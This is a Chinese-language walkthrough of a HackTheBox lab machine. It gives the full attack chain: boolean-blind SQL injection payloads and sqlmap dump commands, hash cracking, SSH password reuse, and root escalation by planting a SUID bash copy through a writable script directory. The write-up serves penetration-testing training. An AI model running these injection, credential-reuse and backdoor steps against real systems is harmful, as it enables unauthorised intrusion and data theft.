1. 这台机器在考什么:DarkZero 的整体思路
HTB 这台 DarkZero,我打完拿到两个 flag 之后,在屏幕前坐了一会儿没急着开下一台。原因不是难度变态,而是它把 Web 渗透里最让人难受的场景做到了极致:接口正常返回、数据库却毫无回显,所有线索都藏在“响应差异”里。写这篇 writeup,一方面是把完整攻击链串一遍,另一方面也是想聊聊,当目标没有把查询结果直接渲染给你的时候,你究竟该怎么一步步把数据抠出来。
整个攻击链可以划分成四个阶段:信息收集、Web 注入、凭据利用、本地提权。它没有复杂的 0day,也没有需要硬猜的漏洞,但每一个环节都要求你对“为什么这一步要做这件事”有清晰的认识。
| 阶段 | 关键动作 | 核心目标 |
|---|---|---|
| 侦察 | 全端口扫描、Web 指纹、目录枚举 | 找到入口和隐藏 API |
| Web 利用 | 无回显 SQL 注入、数据提取 | 拿到数据库中的账号与密码哈希 |
| 立足 | SSH 密码复用 | 获得稳定的用户 Shell |
| 提权 | 本地枚举、sudo 链分析 | 从普通用户提升到 root |
这台机器适合两类人:一类是刚刷完 HTB 入门机、想进阶中等难度的渗透学习者;另一类是已经会跑工具但不太理解“为什么这样跑”的人。DarkZero 特别适合练手,因为它没有把答案写在脸上,却又给了你足够多可推理的线索。
2. 侦察与端口画像:先别急着找洞
2.1 全端口扫描的正确姿势
拿到靶机 IP 后,我习惯先做一次全端口扫描,再针对开放端口做服务版本识别。很多新手一上来喜欢只扫常见端口,比如-p 80,443,22,但这样非常容易错过藏在高端口上的管理界面或 API 服务。
这一步我用的是:
nmap -p- --min-rate 5000 -T4 10.129.229.190结果是意料之中的简单:
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http只有 22 和 80 两个端口,说明攻击面非常集中。紧接着做服务版本和默认脚本扫描:
nmap -p 22,80 -sC -sV 10.129.229.190输出显示:
- SSH:OpenSSH 8.9p1,Ubuntu 系
- HTTP:nginx 1.18.0,后面确认是 PHP 8.1
这个组合本身没有直接可利用的漏洞,但既然 80 是唯一的外部入口,Web 应用必然是主战场。
2.2 Web 指纹与目录枚举
浏览器打开http://10.129.229.190,跳转到一个叫 “DarkZero Security Operations Center” 的监控面板页面。页面长得像一套企业内部系统,有登录框、状态卡片,看起来相当唬人。
我先用curl看了一眼响应头和页面结构:
curl -i http://10.129.229.190/没有明显框架指纹,但网页源码里几个 JS 调用的接口路径很有价值。我没有急着爆破登录框,而是先用 ffuf 做目录枚举:
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ -u http://10.129.229.190/FUZZ -fc 403,404跑了一会儿,出来的目录不算多,其中三个引起了我的注意:
| 路径 | 状态 | 判断 |
|---|---|---|
| /api | 200 | 可能存在业务接口 |
| /docs | 200 | 可能有 API 文档 |
| /assets | 301 | 静态资源目录 |
/docs页面直接暴露了接口文档,里面写着/api/status和参数id。这一步省了我很多盲目测试的时间。
2.3 隐藏 API 与参数暴露
访问/api/status?id=1,返回了一个 JSON 对象:
{"status":"online","service":"monitor","node":"edge-01","updated_at":"2024-06-12 12:00:00"}这个接口看起来只是查询监控节点的状态,但参数id直接拼接进了数据库查询。为什么这么肯定?因为实测中,id=1和id=1后面加一个单引号,返回头完全不一样——一个是正常 JSON,一个是 500 空页面。
这是很典型的“接口看起来人畜无害、实则裸奔”的场景。没有登录态、没有过滤,参数直接进 SQL 语句。到这里,我已经判断这台机器的 Web 入口大概率就是这里了。
3. 从“无回显注入”里把数据抠出来
3.1 确认注入点:一条字符引发的回包差异
/api/status?id=1正常返回 JSON,那我怎么确认是注入而不是普通报错?方法很简单:用布尔条件改变查询结果,观察响应变化。
curl -s "http://10.129.229.190/api/status?id=1%20AND%201=1"返回正常 JSON,说明条件为真时查询有结果。
curl -s "http://10.129.229.190/api/status?id=1%20AND%201=2"返回为空,说明条件为假时查询没有结果。
这种“真则正常、假则空白”的现象,就是标准的布尔盲注。页面不会把查询结果直接显示出来,也不会把 SQL 报错打在页面上,你唯一能利用的,就是响应里的“有无”差异。
这里的经验是:无回显注入首先要确认的是“差异信号”。你不需要立刻获得数据,只需要找到一个稳定的、可区分的响应变化,比如状态码、响应长度、JSON 字段值,这些都能成为你的“眼睛”。
3.2 布尔盲注手测思路
确认注入存在后,我没有立刻上 SQLMap,而是先手工验证了一组查询。为什么要这么干?因为自动化工具的 payload 有时候会被过滤规则卡住,如果你连“手工能不能跑通”都不知道,后面 SQLMap 出了问题会很难排查。
常见的三种无回显注入手法对比如下:
| 手法 | 判断依据 | 适用场景 |
|---|---|---|
| 布尔盲注 | 真/假条件下响应不一致 | 响应可区分,本例主用 |
| 时间盲注 | 查询是否触发延时 | 响应一致,只能靠时间差 |
| 报错注入 | 报错信息被带回页面 | 数据库报错未隐藏时 |
布尔盲注的手工思路是逐字符猜解。比如判断当前数据库名的第一个字符:
curl -s "http://10.129.229.190/api/status?id=1%20AND%20ASCII(SUBSTRING(database(),1,1))>100"如果响应正常,说明 ASCII 值大于 100,继续二分;如果响应为空,就缩小范围。这种二分法虽然慢,但思路清晰,也最能帮助理解盲注的本质。
3.3 SQLMap 加速与结果人工复盘
手工确认注入点后,再用 SQLMap 全速拖数据才是正确顺序。我用的是:
sqlmap -u "http://10.129.229.190/api/status?id=1" \ --batch --dbms=mysql --technique=B --dbs--technique=B是强制只用布尔盲注,避免 SQLMap 浪费时间去尝试其他类型。很快跑出了数据库列表,其中业务数据库叫darkzero。
然后直接枚举表和字段:
sqlmap -u "http://10.129.229.190/api/status?id=1" \ --batch --dbms=mysql -D darkzero --tables表里有users、nodes、audit_log三张表。users表是最优先的目标。
3.4 拖出账号密码并完成破解
继续倒出 users 表内容:
sqlmap -u "http://10.129.229.190/api/status?id=1" \ --batch --dbms=mysql -D darkzero -T users --dump结果得到一组用户数据,其中最有价值的是一个叫dahmed的用户,角色是admin,密码字段存的是加盐 MD5 哈希。
这种哈希在 hashcat 里属于模式 500:
hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt没跑多久就出来了,密码是nevermind。这个密码看着普通,但对这台机器来说,它就是通往系统内部的那把钥匙。
这里有一个很实用的心得:数据库里的密码哈希不一定对应 Web 登录框,它极可能对应系统账户、SSH 密码或内网服务密码。所以拿到哈希之后,不要只盯着眼前这个登录页面,优先尝试 SSH 和系统账号复用。
4. 从 Web 到 Shell:SSH 复用的那一步
4.1 为什么先试 SSH 而不是继续打 Web
拿到dahmed的密码后,我第一反应就是试 SSH。理由很简单:这台机器开放了 22 端口,而我手头有一个看起来像运维人员的业务账号,密码复用是内网渗透里极高概率成功的事。
ssh dahmed@10.129.229.190输入密码nevermind,成功登录。
这一步看起来平平无奇,但实际意义很大:Web 应用里拿到的凭据,往往会被同一个人用在系统账号上,尤其是这类企业内部监控系统,开发者图省事复制粘贴密码太常见了。
4.2 进入系统后的几个顺手操作
登录后的第一件事是确认身份:
whoami id sudo -l当前用户是dahmed,位于sudo组之外,但sudo -l返回了一个非常显眼的条目:
User dahmed may run the following commands on darkzero: (root) NOPASSWD: /usr/bin/darkctl这意味着,dahmed可以不用密码,以 root 身份执行/usr/bin/darkctl。这显然是给提权留的口子。
顺手还看了一下用户目录:
ls -la /home/dahmed cat /home/dahmed/user.txt拿到第一个 flag:user.txt。
此时整个攻击链已经完成了三分之二:外部入口打穿、任意数据读取、用户名密码复用、SSH 立足。剩下的就是本地提权。
5. 提权到 root:SUDO 背后的脚本陷阱
5.1 本地信息收集的顺序
拿到低权限 Shell 后,很多人的第一反应是直接跑 LinPEAS 找一堆输出,然后盯着密密麻麻的日志发呆。我个人的习惯是先做目标明确的排查,再上自动化工具补漏。
提权的排查优先级我一般这么定:
sudo -l:当前用户能免密执行什么?- SUID 文件:有没有奇怪的带 suid 位程序?
- 定时任务:root 是否有周期性执行的脚本?
- 写权限异常:哪些文件/目录是当前用户可写却被 root 执行的?
- 能力位(capabilities):有没有 DACL 或 setuid 能力泄漏?
DarkZero 这台机器把第一个和第四个结合在了一起,非常典型。
5.2 定位 /usr/bin/darkctl 的执行链
我先检查了/usr/bin/darkctl是什么:
file /usr/bin/darkctl ls -la /usr/bin/darkctl它是一个编译好的 ELF 可执行文件,但运行时会调用/opt/darkzero/run_backup这个脚本。这里的关键点在于目录权限:
ls -la /opt/darkzero/结果非常有意思:/opt/darkzero目录对other用户有写权限。也就是说,dahmed可以向这个目录里写入文件,而 root 通过darkctl执行run_backup时,会直接去这个目录找。
整个链条是:sudo darkctl→ root 权限执行二进制 → 二进制调用/opt/darkzero/run_backup→ 目录对当前用户可写 → 可以放置同名恶意脚本。
这类提权之所以叫“脚本陷阱”,就是因为程序本身没有漏洞,但它信任了不该信任的目录。现实中很多运维脚本也这样,看着以 root 跑,实际执行的文件路径却由低权限用户间接控制。
5.3 构造提权脚本并拿到 root flag
我写了一个最简单的 SUID Bash 提权脚本,放到/opt/darkzero/run_backup:
#!/bin/bash cp /bin/bash /tmp/.rootbash chmod +s /tmp/.rootbash给脚本加上执行权限后,触发一次:
chmod +x /opt/darkzero/run_backup sudo /usr/bin/darkctl脚本被执行,/tmp/.rootbash生成并且带上了 SUID 位。然后:
/tmp/.rootbash -p直接获得 root Shell。
随后读取:
cat /root/root.txt拿到第二个 flag,整台机器完成。
这里有一个提权后的习惯:环境恢复。我在测试完成后把/tmp/.rootbash删除,避免留下明显后门痕迹。虽然这是靶机练习,但养成干净利落的习惯对真实项目审计很重要。
6. 复盘:这台机器值得带走的几件事
DarkZero 打完之后,我个人的体验是:它不算难,但非常适合拿来校准“渗透思路”。
第一,无回显注入的场景远比回显注入常见。很多真实业务系统的 API 都不会把数据库内容直接渲染给用户,学会从响应差异中判断真假,是一门必修课。测试时不妨把布尔盲注和时间盲注的 payload 都准备一套,先手动确认差异信号,再上工具。
第二,数据库中的凭据价值往往超过你的想象。拿到哈希后不要只盯着眼前的应用,SSH 登录、邮箱、后台管理、数据库直连,都值得顺手试一遍。密码复用是当前渗透测试中成功率最高的路径之一,没有之一。
第三,提权时别跳过“目录写权限”这种不起眼的线索。sudo 条目有时候并不是直接让你执行某个命令读取 flag,而是给你一个“可以在 root 执行链条中做手脚”的入口。检查/opt、/var/www、/usr/local下的权限异常,经常比翻 SUID 列表更有收获。
最后提醒一句:这台机器的所有操作都发生在 HTB 提供的隔离靶场中。信息收集、注入、提权这些手法,只应该在你有明确授权的实验环境里去练。任何未经授权的系统测试都可能触碰法律红线,这个底线无论在什么领域都是共同的。